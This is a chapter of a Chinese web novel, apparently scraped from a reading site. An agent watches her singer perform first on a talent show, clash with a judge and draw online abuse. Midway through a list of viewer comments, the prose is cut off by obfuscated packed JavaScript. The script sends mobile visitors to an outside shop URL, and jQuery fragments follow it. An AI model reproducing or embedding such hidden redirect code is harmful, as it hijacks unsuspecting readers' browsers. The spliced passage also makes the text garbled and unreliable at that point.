文趣网 > 其他小说 > 觉醒娱乐圈造神系统 > 24. 任务一·录制
    “陆让,上前抽取号码——”

    戚诩还在迟疑,身后录制区的PD喊陆让上前抽取号码,具体号码不会展示给其他选手,他向镜头展示时,看见了白纸上的两个竖线。

    下一秒,张pd耸耸肩,表示遗憾地说:“没机会了。”

    短暂的一分钟,戚诩在想什么,她自己都不知道,因为十万块对她来说不多不少,却很尴尬,如果是一万块愿意立刻交出去,如果是一百万她一定甩一个白眼,偏偏是十万,偏偏只是一个出场顺序。

    选择是对是错,她也不清楚。

    十几个参赛选手,每个人脸上一副志在必得的样子,徐彦在里面愁眉苦脸格外明显,这时候她不想责怪他脆弱的抗压能力,脑子里一团乱麻,只怪自己攒的钱不够,连个简单的行业潜规则都无法解决。

    尤其是张pd的那句‘选手上节目也不是为了赚钱’对戚诩的冲击格外强。

    明天的《表演新生》里又有多少潜规则?林浔又会面临什么?

    戚诩第一次对真正进入娱乐圈有了实感。

    时间将近下午两点,十五位选手抽完号码,休息两小时后开始排队做舞台妆造。徐彦没什么胃口,随便扒拉两口减脂餐,一直翻着手机刷歌词。

    戚诩没有告诉他抽号码的事情,委婉地问道:“徐彦,如果有机会,一号,十一号,十五号,你会选择哪个号码?”

    “十一号啊。”徐彦嘴巴还嚼着鸡胸肉,想都没想直接说:“第一个和最后一个都很熬人。”

    戚诩没接话。

    徐彦又说:“想、也不能改变什么了,一号就一号吧,总要有人唱一号,不是说了我是开门红。”

    戚诩放下手里的筷子,没有说话,沉默地看着食物。其实她纠结的不是排名第几,是第一次感受到在这个大染缸里,每个选择背后靠的从不是简单的缘分和运气,而是真金白银就能改变事情走向的机会。

    她默默低声说:“我一定会赚更多钱的。”

    徐彦倒吸一口冷气,“资本家就是资本家,一身铜臭味。”

    戚诩没有管他的吐槽,跑去小厨房端来两盘肉,“你多吃点,晚上熬五六个小时呢。”

    徐彦:“没事啊,我到时候唱完了就走,反正第一个。”

    戚诩:“走什么走,你第一个唱完,还要在后台等着,后台也有机位录制的。”

    徐彦两眼一闭。

    戚诩提醒道:“你在后台不要总是阴着脸,时不时笑一笑,本来长得就不好相处,再挂个脸,观众会看眼缘的,你喜气一点!”

    徐彦缓缓睁开眼睛,露出一个皮笑肉不笑的表情,堪比鬼片里索命的无常鬼。

    -

    舞台灯光亮起,老牌主持人赵蔡站在聚光灯下。

    “大家好!”赵蔡高昂的情绪瞬间带动场馆氛围。

    十五位参赛选手坐在候场区,气氛微妙地介于紧张和彼此打量之间,徐彦今晚一身黑色西装,袖口和胸针是戚诩专门在网上买的紫丁香款式,非常符合他冷寂忧郁的气质。

    戚诩坐在台下工作人员席位,紧张的手心冒汗。

    身后是无数观众的欢呼声,她第一次以‘经纪人’的身份坐在节目现场,之前明明还是抱着手机窝在家里的乐子人,短短俩月,已经带着自己的艺人来接受评审和观众检验,耳边的音乐声,主持人激昂澎湃的情绪,观众轰鸣的欢呼,多方嘈杂声围着她,让她不得不接受眼前都是真实存在的。

    开场评委入场,主持人宣告规则。

    戚诩的手机震动,是姜疆和林浔在四人的工作群里鼓励他俩。

    姜疆:【徐彦好好发挥,没问题的,加油!】

    林浔:【严肃蹲直播!】

    姜疆:【@戚诩,你别紧张,等我回去请大家吃火锅!】

    戚诩:【他手机在我这,鼓励会转达,放心吧。】

    姜疆:【@全体,所有人记得买东西开发票!抬头在群公告,别忘记了!】

    林浔:【收到】

    姜疆:【但是不得不说,徐彦长得确实很帅啊,后台十五个人,三个几位,我一眼就看见他了,阴湿病娇男的人设最近吃香吗?要不走这个风格吧,给娱乐圈展示一下什么叫模板长相。】

    戚诩被逗笑了,回复:【他今天抽到一号,后台焦虑得快哭了,阴湿的湿是被眼泪泡的吗。】

    林浔:【徐彦看到聊天记录又要生气了。】

    姜疆:【@林浔,你这样说他小心眼,他就不生气吗?】

    戚诩:【@徐彦徐小彦是小气鬼!】

    林浔:【@徐彦徐小彦是小气鬼!】

    姜疆:【@徐彦徐小彦是小气鬼!】

    主持人赵蔡宣读完广告词和规则词,大手一挥,大屏幕上十五位人物介绍像是卡片一样排列,与此同时戚诩面前也弹出一个透明面板。

    是许久未见的系统。

    系统:【是否更新。】

    戚诩扫一眼,想都没想点击【是】。

    小圆圈转动不到五秒,更新结束,系统面板的侧边弹出指引框'艺人',戚诩伸手点击,弹出徐彦和林浔的基础资料,并且在最下面增加了两行属性指数,分别是:【个人搜索指数环比】【舆情正面占比】【舆情负面占比】三个板块。

    目前数据都为零,她又点开公司的属性指数,空了!

    戚诩吓得弹坐起来,原本热力值花完,还有很多声望值啊!怎么一更新全没了!

    她顾不上周围人异样的目光,一股脑地翻找屏幕寻找自己剩余的热力值和声望值。

    全是零!

    系统再次弹窗:【更新结束。】

    难道是更新系统需要清零?还是新手任务和正式任务不能通用数据?!为什么现在突然修改更新?她刚刚没仔细看小字!

    系统:【全新任务板块和数值要求已全部更新,请注意变化,及时调整。】

    系统:【公司相关文件,艺人合同,录制合同已分类收录后台,可以点击我-公司进行查看。】

    系统:【2326.6.21】

    戚诩终于看见时间,原来在和林浔,徐彦签完合同当天,系统就该更新了,但是她两边忙得脚不沾地,随手划掉没有管,现在才又冒出来,因为徐彦要露面有曝光必然属性发生变化,再不更新来不及了!

    舞台上传来主持人念徐彦的名字。

    她想着先顾好眼前,直接关掉了系统,准备晚上回家再看具体热力值和声望值要求变化以及艺人属性板块。

    徐彦手握话筒,从灯光中走来,后面大屏幕上是戚诩递交的公示照,节目组的公示照在直播的投票界面,看上去没有那么精致,胜在小图没人看得清,大屏幕上可是戚诩和摄影师修改好几版最贴近他本人的照片。

    他拿出的原创曲目名字叫《红地毯》。

    一开始戚诩没明白为什么叫《红地毯》,徐彦解释,他第一次给村民唱歌,台下投来没人理解的目光,他就只能看向地面,而干净的水泥地上铺着父亲给他办升学宴的红地毯。

    这首歌是在讲少年的迷茫吗?不是。

    这首歌是在阐述少年的野心吗?没有

    这首歌是在表达对父母的爱意?不全对。

    总之,当旋律达到高潮,他独特的嗓音吟唱着那天午后的事情,像是涓涓细流慢慢汇入汪洋大海,最终成为一滴没有来源的水珠,融为海的一部分,他也成为目光中的一部分。

    一曲终了,徐彦慢慢放下手里的话筒。

    戚诩无法沉浸式欣赏他的表演,她紧张惶恐,比徐彦本人还要担忧,这首歌她听了无数次,已经忘记第一次听到时内心的惊艳之情,不记得最初自己是怎么夸奖他的,完全陷入现场焦灼的环境里,就像这首歌一样,每个人都会被改变,他现在脚下的红地毯和院子里的红地毯是一个,又不是一个。

    他唱完了,全场安静了两秒,响起的掌声稀稀拉拉,还没他出场露脸时的掌声大。

    首秀赛不会淘汰人,只会排名,全场一千观众,评委每人占票三百,可以选择给或者不给,拉票时间五分钟。

    主持人上来,先是让徐彦进行自我介绍,又让他简单阐述这首原创背后的故事。

    徐彦坦率地讲出自己从小不被理解的音乐梦想,戚诩打开直播间关注着线上的网友反馈。

    [叽里咕噜说什么呢,长得好帅]

    [家里是农村养猪的?咋听着又可怜又好笑的?]

    [说实话音乐不咋惊艳,感觉一般般,旋律一般,词也一般吧]

    [我很喜欢这个歌欸,就是开场的话不是很合适,感觉场子冷下去了]

    [喜欢歌还是喜欢他的脸?根本不懂音乐的一群花痴,你懂什么叫和弦吗?]

    [这就是盛京音乐学院的实力?有点拉跨]

    [哪来那么多喷子,这个歌很抓耳啊,我听着就很喜欢]

    [这首歌线上有音源吗?我现在就想再听一遍]

    [不觉得他很装吗,有种微妙的傲慢]

    网友风评两极化,戚诩开始自我怀疑,徐彦的R&B明明很好听啊,姜疆那天听完开始在车里循环播放,怎么反响如此平平,甚至这么极端?

    更糟糕的还在后面。

    一个没注意,戚诩再抬头,徐彦和评委干上了!

    正在言辞激烈批判徐彦的是那位神出鬼没的作曲人,赵翼黑,他讲话直接犀利毒舌,说得徐彦一句话都接不上来,气得脑袋来回转,桃花眼都瞪成杏仁圆眼睛。

    赵翼黑:“你的歌全是问题,旋律衔接处理太差,很单调,用词也不精准,我没听懂你这首歌在讲什么?虚无缥缈的没个主题?”

    赵翼黑:“我刚听完你说你父母不理解你,村名听不懂,你来这里找知己,能跟你这首歌共情的是什么人?不知道父辈辛苦的人,还是陷入自己情绪里自怨自艾的人?”

    徐彦:“我没有,我从没有忽视我父亲的辛苦,倒是你格外针对我的表达,疯狂抠字眼,作曲人不讲曲在这考阅读理解吗?”

    此话一出,气得赵翼黑差点拍桌而起,“你连前辈都不尊重,怪不得不尊重家里供你读书的父母!”

    戚诩也是懵逼了,这位堪称业内爆款制造机的作曲人哪来那么大气性?上来就给徐彦扣帽子?

    元芬见状立马圆场,“哎哟,赵老师别气,和小孩子气什么?我还是很喜欢他这首歌的,很有自己风格的原创歌手,感情充沛,听着就让人舒服。”

    赵翼黑:“我还不知道你?你那是看着舒服。”

    全场轰然大笑,徐彦脸色逐渐变黑。

    钱北五十多岁的年纪自然也听不懂年轻人的曲风,单纯从唱功评价,“确实有点靡靡之音的味道,关键我听不出你的唱功,毫无技巧的展示,这个舞台首先是竞技,所以徐彦,你看上去没有做好充足的准备。”

    赵翼黑继续评价:“整体听感很差,不是很舒服,下次尝试点别的吧。”

    徐彦眸子里闪烁着强烈地不满,回一嘴:“我没想让人听着舒服,行吗?”

    全场空气凝固了。

    戚诩急得冲出观众席,跑到舞台旁边,疯狂挥手,示意他不要再乱顶嘴。

    主持人见状立马接话,“投票结束!最后请评委给出你们的选择。”

    三位评委面面相觑,最后只有元芬举起手里的牌子,示意给他三百票,大屏幕滚动着数字,主持人喊出最终结果:“现场四百二十九票,加上评委两百票,总共六百二十九票!”

    徐彦拿起话筒又补一句:“我就不改。”

    戚诩血压狂飙,感觉自己大脑充血了一瞬间,恨不得上台抢走他的话筒。

    评委席的赵翼黑更是炸了,拿起话筒一阵输出说他不谦卑,靠脸吃饭等等等,徐彦冷着脸,看了一眼台下急疯的戚诩,单手从口袋里拿出墨镜带上了。

    ......

    到底在想什么!!!

    这下不光评委要冲上去揍他,戚诩都想上去扇他,老老实实窝窝囊囊地忍下算了,台下三位随便一个咖位粉丝都能生吞活剥了他。

    直播间弹幕疯狂刷屏,已经从讨论歌曲本身变成了针对徐彦个人攻击,而且势头非常猛烈。

    [这个男的好狂啊?]

    [我仔细听了他的歌,旋律确实不行,他哪来的自信啊?]

    [评委好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695654|205884||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心给他建议他不领情就算了,还怼人家?]

    [他是不是觉得自己很酷?]

    [情商负数鉴定完毕。]

    [这是小众独立音乐人?这叫没礼貌好吗!]

    [谁嘉豪快领走]

    戚诩按灭手机屏幕,深呼吸了几次试图让自己冷静,看见徐彦拽得更二五八万一样带着墨镜,气势汹汹地走下台,她身体里无名火瞬间被点燃。

    她懒得等到后台,直接在台下拽住他胳膊,“徐彦你要死是不是!我是不是说了你不要吵架,忍一下怎么样呢!”

    万万没想到,徐彦默默地扭过头,不说话不回怼。

    戚诩看着就冒火,给他拉进后台拐角,气得伸手摘掉他的墨镜,露出一双泛红噙着水的眼睛。

    徐彦偷摸哭了。

    他瘪着嘴,别扭地不去对视,刚要用袖子擦脸,被戚诩制止,她从包里拿出手帕纸,轻声解释:“节目组的西装,你一会要还的。”

    戚诩的气全没了,“哭什么?你在台上不是挺狂妄的?”

    “我没有瞧不起我爸妈,没有不尊重我爸妈,我很感激他们的,他偏要说我不尊重人!”徐彦越说越委屈,“关键,不喜欢我的歌都算了,叫靡靡之音我也认了,他们让我到底要改什么?没人说,怎么改没人说,一股脑说我态度问题,阴阳怪气我长相问题,最后说来说去,说我唱歌没有展示技巧,说我旋律不行让我改,那我下次唱青藏高原好吧!”

    徐彦下垂的手抖得厉害,戚诩分辨不出他是因为愤怒委屈,还是因为紧张。

    她低下头,“对不起。”

    徐彦愣住了,“啊?”

    戚诩全盘托出,“怪我不知道号码还是能买的,你的歌曲根本不适合开场,如果不是我犹豫嫌十万块贵,不然给你买下来十一号,你不会这么紧张,后面观众和评委听累了,有好有坏的对比,说不定不会上来就攻击你,现在风向不会这么奇怪。”

    徐彦茫然地看着她,“我没听懂。”

    戚诩无力地说:“这个节目的号码是可以售卖的,你当时抽签的盒子里根本不是十五个号码,只有三个号码,1号,11号,15号,因为其他所有号码都被别人的经纪公司买走了,我也是今天才知道能买,PD问我愿不愿意买的时候,犹豫了,我嫌十万太贵了。”

    “十万!”徐彦惊讶出声,“可是归根结底和抽签也没啥关系吧,三选一我还是手最臭,哪怕最后一个或者中间一个,那个奥利奥老头都会恶心我的,纯是磁场不对付。”

    戚诩:“什么奥利奥老头?”

    徐彦:“赵翼黑啊,我以前还挺喜欢他的,他也是盛京音乐学院毕业的。”

    手机上张PD催得紧,戚诩把手里的墨镜还给他,顺势拍拍他的肩膀,安抚道:“事情已经发展成这样,破罐子破摔吧,后面还要录制,你想带墨镜就带,一个候场的机位没什么大不了。”

    徐彦得到认可的瞬间神情逐渐自信,带上墨镜,遮住哭红的眼睛,生人勿近扑面而来,戚诩认命了,从包里掏出准备的小零食,有饼干面包和糖果。

    她说:“拿着吧,后面五个小时录制,你累了就吃,去吧。”

    徐彦乖乖抱着,“嗯。”

    看他离开的背影,戚诩两眼一黑,摆烂似的决策不是放弃徐彦,是她也不知道怎么办,站在徐彦的角度,参加个挑战赛,本来就紧张,唱完还被评委扣帽子攻击,引以为傲的音乐更是被贬低的一文不值,她也憋不住脾气。

    到底是什么原因导致赵翼黑针对的这么明显?

    戚诩找到一个相对安静的地方,翻手机找到徐彦班主任的联系方式,摁下拨通,不到十秒对面接通,她语气带着几分谄媚,“喂!是李老师吗?您还记得我吗,我就是徐彦的经纪人,戚诩。”

    班主任:“你好啊,我还说今天晚上看徐彦直播,但是我这临时有点事情,还没来得及,他表现怎么样?”

    戚诩:“特别好啊,反正我这边特别满意,但是我给您打电话是想问一件事。”

    班主任:“您说。”

    戚诩:“老师知道赵翼黑吗?听说也是盛京音乐学院毕业的呢。”

    班主任:“老赵啊,他现在还在学校任职呢。”

    戚诩:“真的呀,那赵老师有带过徐彦这一届吗?我看他对徐彦格外的严厉,真是个好老师,在校外都这么负责。”

    她明里暗里地暗示,李老师也不傻,听出来她的意思。

    班主任:“小戚,我也不瞒你,我劝徐彦不要太主动接触老赵,不知道你记不记得,我提过一嘴,我们学校有学生参加了歌王的挑战赛的初试被刷下来,那个学生就是老赵带的孩子.....”

    快四十岁的男人,事业上算是走到行业顶尖,怎么心眼子这么小!

    戚诩一连串地感谢后,挂断电话,气得踹一脚走廊的白墙,留下一个鞋印。

    姜疆和林浔在群里疯狂刷:【徐小彦表现的真不错!】

    戚诩:【@林浔快点睡觉,你明天还有一场硬仗要打。】

    林浔:【收到!】

    姜疆打来电话。

    戚诩挫败地坐在楼梯上,“姜疆你那边怎么样了?”

    姜疆:“今天见了律师,过几天开庭,我这边你别管了,我是来问你那个赵翼黑干嘛的?感觉很针对徐彦。”

    戚诩:“你也感受到了吧,我刚刚打电话确认了,赵翼黑的学生被这个节目初试刷下去了,转头看到学校里其他学生空降,对徐彦有意见呗。”

    姜疆:“妈呀心眼比眼睛还小,虽然说徐彦被骂装,至少他控制自己没有继续吵架,事情还是能控制的。”

    戚诩:“你知道吗,他戴墨镜是因为他哭了!”

    姜疆惊讶,“啊!我以为是文青变装哥,没想到啊。”

    戚诩又把自己犹豫买票的事情解释一遍。

    姜疆喊道:“十万!当然不能买,你敢买我才打你呢!”

    戚诩十分懊恼,“那怎么办,风向全变了,就算我现在下营销,那十个哪里能控制得住直播间十几万人的网友的嘴。”

    姜疆:“谁说控制不住了,你快点看直播间!”